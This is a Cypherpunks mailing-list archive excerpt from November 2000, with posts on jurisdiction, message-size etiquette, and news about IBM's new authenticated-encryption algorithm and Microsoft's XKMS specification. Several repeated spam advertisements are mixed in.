Over and out. ____________________________________________________________________ Before a larger group can see the virtue of an idea, a smaller group must first understand it. "Stranger Suns" George Zebrowski The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From tom at ricardo.de Thu Nov 30 10:19:32 2000 From: tom at ricardo.de (Tom Vogt) Date: Thu, 30 Nov 2000 19:19:32 +0100 Subject: Authenticate the "adult field", go to jail... References: <3A2645ED.6CD94375@ricardo.de> Message-ID: <3A269A34.396E6B50@ricardo.de> Tim May wrote: > >excuse me? shouldn't that read "convince the indonesians and russians to > >*start a local prosecution based on their own laws*" ???? oh, I forgot. > >the US-of-Assholes believes it's laws are valid for everyone and > >everywhere. > > Unlike the Germans, who have never tried to get members of the > American Nazi Party deported to Germany, who have never prosecuted > Yahoo and AOL executives for violating German law by allowing > thoughtcrime on their systems, and who have never arrested Americans > transitting European cities for thoughtcrimes allegedly committed > while inside the United States. thanks for reminding me that I don't live in a perfect country, either. guess what? I knew that before. :-/ From kurth at usaexpress.net Thu Nov 30 16:30:19 2000 From: kurth at usaexpress.net (Kurth Bemis) Date: Thu, 30 Nov 2000 19:30:19 -0500 Subject: diving tank? In-Reply-To: Message-ID: <4.3.2.7.2.20001130193000.028e5e88@mail.usaexpress.net> At 02:28 PM 11/30/2000 -0800, bob bob2 wrote: mmmmmmm homemade beer of cider :-) yum ~kurth >stainless steel and designed for high pressure? I can think of a bunch of >things besides diving that could be used for. >_____________________________________________________________________________________ >Get more from the Web. FREE MSN Explorer download : http://explorer.msn.com > From ptrei at rsasecurity.com Thu Nov 30 16:42:42 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Thu, 30 Nov 2000 19:42:42 -0500 Subject: More mail format flames [was Re: Poe puzzle solved after 150 year s] Message-ID: You'd have a point, except. 1. Bob's entire letter is 5822 bytes; the original page, even without the URL and mail headers, is 8453, for a saving of 32%. Still, I'd have prefered that Bob had edited it more carefully, or just given the first few paragraphs and a link. 2. <=6k isn't all that much - the complaints against your practice were started by a message many times as long as this. 3. Bob posted the text, not an attachment. requiring extra processing to view. Generally, I'd like people to post only enough for me to know whether or not I want to see the whole message, I can then go through appropriate anonymizers if needed to see the whole message. You tend to publish only a subject line, a URL, and THE ENTIRE PAGE as an attachment. I just sorted my unarchived cpunk's messages by size. (the collection goes back to the beginning of May, and has 8060 messages. I delete obvious spam). Of the 20 largest messages, you posted 13, including all of the 6 largest. Others on the bandwidth hog list include anonymous, Bill Payne (twice), Bob, A. Oellermann, Roy Silvernail, and Declan. Peter > ---------- > From: Jim Choate[SMTP:ravage at einstein.ssz.com] [...] > Talk about a double-standard... [...] > The Armadillo Group ,::////;::-. James Choate [...] > On Thu, 30 Nov 2000, R. A. Hettinga wrote: > > > > http://www.nandotimes.com/noframes/story/0,2107,500285318-500450084-502935 > 451-0,00.html > > > > > > > > > > ------------------------------------------------------------------------ > > Code breakers believe Poe puzzle solved after 150 years > [...] From mike722 at arabia.com Thu Nov 30 02:45:48 2000 From: mike722 at arabia.com (mike722 at arabia.com) Date: Thu, 30 Nov 2000 19:45:48 +0900 Subject: CDR: ADV: Search Engine Registration Message-ID: <200011301045.TAA21673@localhost.localdomain> Removal instructions below I saw your listing on the internet. I work for a company that specializes in getting clients web sites listed as close to the top of the major search engines as possible. Our fee is only $29.95 per month to submit your site at least twice a month to over 350 search engines and directories. To get started and put your web site in the fast lane, call our toll free number below. Mike Bender 888-532-8842 To be removed call: 888-800-6339 X1377 From mike722 at arabia.com Thu Nov 30 02:45:55 2000 From: mike722 at arabia.com (mike722 at arabia.com) Date: Thu, 30 Nov 2000 19:45:55 +0900 Subject: CDR: ADV: Search Engine Registration Message-ID: <200011301045.TAA21688@localhost.localdomain> Removal instructions below I saw your listing on the internet. I work for a company that specializes in getting clients web sites listed as close to the top of the major search engines as possible. Our fee is only $29.95 per month to submit your site at least twice a month to over 350 search engines and directories. To get started and put your web site in the fast lane, call our toll free number below. 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Mike Bender 888-532-8842 To be removed call: 888-800-6339 X1377 From mike722 at arabia.com Thu Nov 30 02:46:16 2000 From: mike722 at arabia.com (mike722 at arabia.com) Date: Thu, 30 Nov 2000 19:46:16 +0900 Subject: CDR: ADV: Search Engine Registration Message-ID: <200011301046.TAA21720@localhost.localdomain> Removal instructions below I saw your listing on the internet. I work for a company that specializes in getting clients web sites listed as close to the top of the major search engines as possible. Our fee is only $29.95 per month to submit your site at least twice a month to over 350 search engines and directories. To get started and put your web site in the fast lane, call our toll free number below. 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Mike Bender 888-532-8842 To be removed call: 888-800-6339 X1377 From mike722 at arabia.com Thu Nov 30 02:46:57 2000 From: mike722 at arabia.com (mike722 at arabia.com) Date: Thu, 30 Nov 2000 19:46:57 +0900 Subject: CDR: ADV: Search Engine Registration Message-ID: <200011301046.TAA21768@localhost.localdomain> Removal instructions below I saw your listing on the internet. I work for a company that specializes in getting clients web sites listed as close to the top of the major search engines as possible. Our fee is only $29.95 per month to submit your site at least twice a month to over 350 search engines and directories. To get started and put your web site in the fast lane, call our toll free number below. Mike Bender 888-532-8842 To be removed call: 888-800-6339 X1377 From mike722 at arabia.com Thu Nov 30 02:47:07 2000 From: mike722 at arabia.com (mike722 at arabia.com) Date: Thu, 30 Nov 2000 19:47:07 +0900 Subject: CDR: ADV: Search Engine Registration Message-ID: <200011301047.TAA21788@localhost.localdomain> Removal instructions below I saw your listing on the internet. I work for a company that specializes in getting clients web sites listed as close to the top of the major search engines as possible. Our fee is only $29.95 per month to submit your site at least twice a month to over 350 search engines and directories. To get started and put your web site in the fast lane, call our toll free number below. Mike Bender 888-532-8842 To be removed call: 888-800-6339 X1377 From steve at tightrope.demon.co.uk Thu Nov 30 11:52:29 2000 From: steve at tightrope.demon.co.uk (Steve Mynott) Date: Thu, 30 Nov 2000 19:52:29 +0000 Subject: Sunders point on copyright infringement & HTML In-Reply-To: ; from tcmay@got.net on Thu, Nov 30, 2000 at 09:09:54AM -0800 References: <20001130041309.C16342@positron.mit.edu> <20001130114107.D21232@positron.mit.edu> Message-ID: <20001130195229.A1659@tightrope.demon.co.uk> On Thu, Nov 30, 2000 at 09:09:54AM -0800, Tim May wrote: > I'll have to tell a friend of mine about this, as he's been telling > me great how "mutt" is...in person, as his e-mail arrives unreadable > to me! mutt is good and obeys the standards. The trouble is that noone else follows those same standards. -- 1024/D9C69DF9 steve mynott steve at tightrope.demon.co.uk we must respect the other fellow's religion, but only in the sense and to the extent that we respect his theory that his wife is beautiful and his children smart. -- h. l. mencken (1880-1956) From ravage at ssz.com Thu Nov 30 18:11:36 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 30 Nov 2000 20:11:36 -0600 (CST) Subject: IBM Cries Crypto Wolf, Experts Say In-Reply-To: <734f3334a3b95bdadc44217866bbf5fc@anon.xg.nu> Message-ID: A non-linearity in the crypto community? On Thu, 30 Nov 2000, No User wrote: > Big Blue says it can make encryption twice as fast. > However, several crypto experts questioned the need for the technology and > said it can't be taken seriously until it's been widely analyzed and > tested. > > "There is no market demand for this algorithm," said Bruce Schneier, author > of several cryptography and security books and chief technology officer > of Counterpane Internet Security, a network monitoring outsourcer. > Tim Dierks, CTO of Certicom, concurred with Schneier and added ... > "IBM's got a track record of coming out with these major crypto > announcements around early stage results" that haven't been evaluated > and tested, said Dierks of Certicom. "They're seen as self promoting." > An IBM algorithm dubbed the "Atjai-Dwork cryptosystem" was announced in > 1997 and broken the following year, he said. > Burt Kaliski, chief scientist and director of RSA's Labs, came to IBM's > defense. > "Here, they seem to be on more solid ground in terms of the technology > they're proposing," Kaliski added. "It still needs some more analysis by > the crypto community." Who clearly don't want to do it... I'd say there is a crisis of faith in the community (it's really the pocket book but that isn't as poetic). ____________________________________________________________________ Before a larger group can see the virtue of an idea, a smaller group must first understand it. "Stranger Suns" George Zebrowski The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From no.user at anon.xg.nu Thu Nov 30 17:42:07 2000 From: no.user at anon.xg.nu (No User) Date: Thu, 30 Nov 2000 20:42:07 -0500 Subject: IBM Cries Crypto Wolf, Experts Say Message-ID: <734f3334a3b95bdadc44217866bbf5fc@anon.xg.nu> Big Blue says it can make encryption twice as fast. But the company hyped a similar advancement years ago; experts say that idea didn't amount to much, and this one won't either. By Elinor Abreu IBM is announcing a new algorithm on Thursday that it says will double the speed at which online communications are encrypted. But several crypto experts say that IBM is fixing something that isn't broken and that Big Blue has a history of tooting its horn needlessly. IBM's new as-yet-unnamed security algorithm simultaneously encrypts and authenticates messages. It works with symmetric cryptography in which the same secret key, or mathematical code, is used to encrypt and decrypt, as opposed to public key cryptography, in which two different keys are used. The new algorithm has been submitted to the U.S. Patent Office and proposed to the National Institute of Standards. The improvement in speed won't be noticed when sending small items, such as an e-mail, but it will make a difference with things like a long Microsoft Word document, an entire Web page and bulk data, according to Charles Palmer, manager of IBM's Network Security and Cryptography division. The algorithm will be especially useful with parallel processors, spreading the work among multiple processors for even greater speed improvement, so that "pointing [a handheld device] at a Coke machine actually makes the transaction happen as soon as you touch the button," said Palmer. However, several crypto experts questioned the need for the technology and said it can't be taken seriously until it's been widely analyzed and tested. "There is no market demand for this algorithm," said Bruce Schneier, author of several cryptography and security books and chief technology officer of Counterpane Internet Security, a network monitoring outsourcer. "Sure, RSA (crypto) can be slow, but other aspects of network protocols are much slower. Rarely is the cryptography the bottleneck in any communications." Performance is already addressed by Moore's Law, which dictates that processing speed increases twofold every 18 months, Schneier pointed out. He also suggested that IBM's method is counterproductive P that most security protocols prefer separating encryption and authentication because they often have different key management and implementation requirements. "Combining the two makes engineering harder, not easier," he said. "I predict that if you go back in one year, zero applications will be using it." Tim Dierks, CTO of Certicom, concurred with Schneier and added that there are already other means, including hardware accelerators, to improve crypto performance. "I don't have reason to believe the market is hung up on this sort of solution. It's a question of whether there is market demand for it," he said. IBM's Palmer acknowledged that the new technology isn't going to have any drastic impact in the near term. "We can do it all right today, but this is just going to get worse as we get cable modems and DSL," he said. "[Schneier's] right; we may not have a blinding need for this right now." The criticism wouldn't be so harsh if IBM hadn't done this before. Two years ago, IBM announced what it called the "Cramer-Shoup cryptosystem" that it cited as "provably secure" and hyped as a replacement for SSL (Secure Sockets Layer), a protocol that is ubiquitous in e-commerce transactions. That IBM technology, which was designed to prevent against an obscure type of crypto attack, has not yet been deployed, noted Schneier. "IBM's got a track record of coming out with these major crypto announcements around early stage results" that haven't been evaluated and tested, said Dierks of Certicom. "They're seen as self promoting." An IBM algorithm dubbed the "Atjai-Dwork cryptosystem" was announced in 1997 and broken the following year, he said. Burt Kaliski, chief scientist and director of RSA's Labs, came to IBM's defense. The new IBM algorithm "is an interesting line of research; a nice application of theory to achieve some significant results," he said. "While we could debate whether there's a problem to be solved, it's a nice technology they've come up with. "Here, they seem to be on more solid ground in terms of the technology they're proposing," Kaliski added. "It still needs some more analysis by the crypto community." From info at giganetstore.com Thu Nov 30 13:05:39 2000 From: info at giganetstore.com (info at giganetstore.com) Date: Thu, 30 Nov 2000 21:05:39 -0000 Subject: =?iso-8859-1?Q?Pst_..._j=E1_fez_as_suas_compras_de_NATAL_=3F?= Message-ID: <011ee1514211eb0WWWSHOPENS@wwwshopens.giganetstore.com> Se pretender visualizar esta informação numa página do seu browser em formato HTML, basta clicar aqui . Nesta época do ano com um significado festivo tão especial, não deixe de oferecer aos seus amigos e familiares mais queridos aquelas prendas que nunca tem tempo de procurar e comprar.. Por isso este Natal convidamo-lo a entrar na giganetstore.com , onde irá encontrar a maior loja on-line em Portugal, aberta 24 horas por dia e com entrega ao domicílio, onde poderá fazer as suas compras, com toda a comodidade e segurança. E agora uma PRENDA DE NATAL ESPECIAL, só para si: Em todas as encomendas que efectuar, entre os dias 01 e 12 de Dezembro, terá os seguintes benefícios adicionais: - desconto de 5% do valor das suas compras (*) - custos de transporte gratuitos E ainda ... um gorro de Pai Natal, grátis, em todas as compras que efectuar até 31 de Dezembro. E para não deixar as suas compras para a última hora, comece a fazê-las desde já e até ao próximo dia 12 de Dezembro (após essa data não poderemos garantir a entrega das suas encomendas antes do dia de Natal). Se pretender algumas sugestões de prendas, aconselhamo-o a visitar a nossa secção " GALERIA DE PRENDAS ". Deixe a giganetstore.com ajudá-lo(a) a encontrar a prenda ideal e a proporcionar-lhe as melhores oportunidades de compra. (*) Este desconto é válido para encomendas efectuadas entre os dias 01 e 12 de Dezembro; para utilizar este valor, bastará na altura do checkout seleccionar a opção de pagamento através de Códigos Promocionais e inserir o seguinte código: 200001121212. Para retirar o seu email desta mailing list deverá entrar no nosso site www.giganetstore.com , ir à edição do seu registo e retirar a opção de receber informação acerca das nossas promoções e novos serviços. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 2344 bytes Desc: not available URL: From nobody at digilicious.com Thu Nov 30 21:06:04 2000 From: nobody at digilicious.com (Anonymous) Date: Thu, 30 Nov 2000 21:06:04 -0800 Subject: Imagine Message-ID: <2c3e32e682f56b4b890c1e9c6cce8c4b@digilicious.com> Bill Stewart wrote: > The "bunch of elementary school kids had no trouble" press release > is fun, but bogus. If the teacher had told the kids > "Vote for Gore and Lieberman" instead of "Vote for Gore", > they'd have been much more likely to make a mistake. More likely, maybe, but not "much more likely." Now if the kids had been told "Vote for the Miscreant," or "Vote for the Statist," that's a different matter. Too bad they weren't told to "Vote for Who Needs Killing." From hole1001 at pageice.com Thu Nov 30 18:37:48 2000 From: hole1001 at pageice.com (hole1001 at pageice.com) Date: Thu, 30 Nov 2000 21:37:48 -0500 Subject: !!!Lenders COMPETE for your MORTAGE Loan!!! -nxbvawgq Message-ID: A non-text attachment was scrubbed... Name: not available Type: text/html Size: 8676 bytes Desc: not available URL: From dmolnar at hcs.harvard.edu Thu Nov 30 18:58:53 2000 From: dmolnar at hcs.harvard.edu (dmolnar) Date: Thu, 30 Nov 2000 21:58:53 -0500 Subject: IBM Cries Crypto Wolf, Experts Say In-Reply-To: <734f3334a3b95bdadc44217866bbf5fc@anon.xg.nu> Message-ID: On Thu, 30 Nov 2000, No User wrote: > IBM's new as-yet-unnamed security algorithm simultaneously encrypts > and authenticates messages. It works with symmetric cryptography in > which the same secret key, or mathematical code, is used to encrypt > and decrypt, as opposed to public key cryptography, in which two > different keys are used. The new algorithm has been submitted to the > U.S. Patent Office and proposed to the National Institute of > Standards. This sounds vaguely like Charanjit Jutla's preprint http://eprint.iacr.org/2000/039/ It's a chaining mode for block ciphers. > "IBM's got a track record of coming out with these major crypto > announcements around early stage results" that haven't been evaluated > and tested, said Dierks of Certicom. "They're seen as self promoting." > An IBM algorithm dubbed the "Atjai-Dwork cryptosystem" was announced > in 1997 and broken the following year, he said. Yes, this is annoying. I think it reflects more on IBM marketing than IBM Research. -David From no.user at anon.xg.nu Thu Nov 30 19:15:25 2000 From: no.user at anon.xg.nu (No User) Date: Thu, 30 Nov 2000 22:15:25 -0500 Subject: Microsoft backs XML security spec Message-ID: <68e925e20363352b5648d87557648a24@anon.xg.nu> Microsoft has teamed up with software partners VeriSign and WebMethod to launch a specification aimed at simplifying digital signatures used in ecommerce applications. To ease the integration of public key infrastructure (PKI) and digital certificates, the three companies have created the XKMS spec (XML Key Management Specification) which they say makes it easier for programmers to create online applications with digital signatures. Currently, developers are required to buy and integrate specialised toolkits from a PKI software vendor. These toolkits only interoperate with that vendor's PKI offerings. But developers can use XKMS to integrate authentication, digital signatures and encryption services, such as certificate processing and revocation status checking, into applications. Warwick Ford, chief technology officer at VeriSign, said: "For the next generation of ecommerce applications to truly support high-value transactions, the handling of digital keys for online authentication, digital signatures and data encryption must be simple to integrate, and must interoperate across a broad range of enterprise applications." The specification works with trust functions residing on servers and accessible through programmed XML transactions. XKMS is also compatible with emerging standards for web services description language (WSDL) and simple object access protocol (Soap). The specification will be submitted to the appropriate web standards bodies, and Microsoft said XKMS will be integrated into its .Net architecture. Analysts said that by having a standard such as XKMS it will be possible for companies to accelerate the process of finalising an online contract or completing a transaction by having the capability to accept a legitimate signature electronically. "At the level of XML, you have to have all of the things associated with security processing," said Frank Prince, an analyst at Forrester Research. "Any key management system should be built at that level." H If you would like to comment on this article email us @ newseditor at vnunet.com From Frankloden at excite.com Thu Nov 30 21:22:45 2000 From: Frankloden at excite.com (Gladys Frankloden) Date: Fri, 1 Dec 2000 00:22:45 -0500 Subject: IBM E-Business Solution in a box Message-ID: <200012010602.BAA08833@smtp.atl.mediaone.net> IBM Small Business Web-Connections (Complete e-solution in One Box) Total Business Computing 'Internet in a Box' Low Low Price! " The InterJet II includes everything you need to access the Internet using IBM's Webconnection system and to build a fully functional enterprise online ....easy thanks to an almost overly simple setup " It is like owning your own web hosting company. You have total control. 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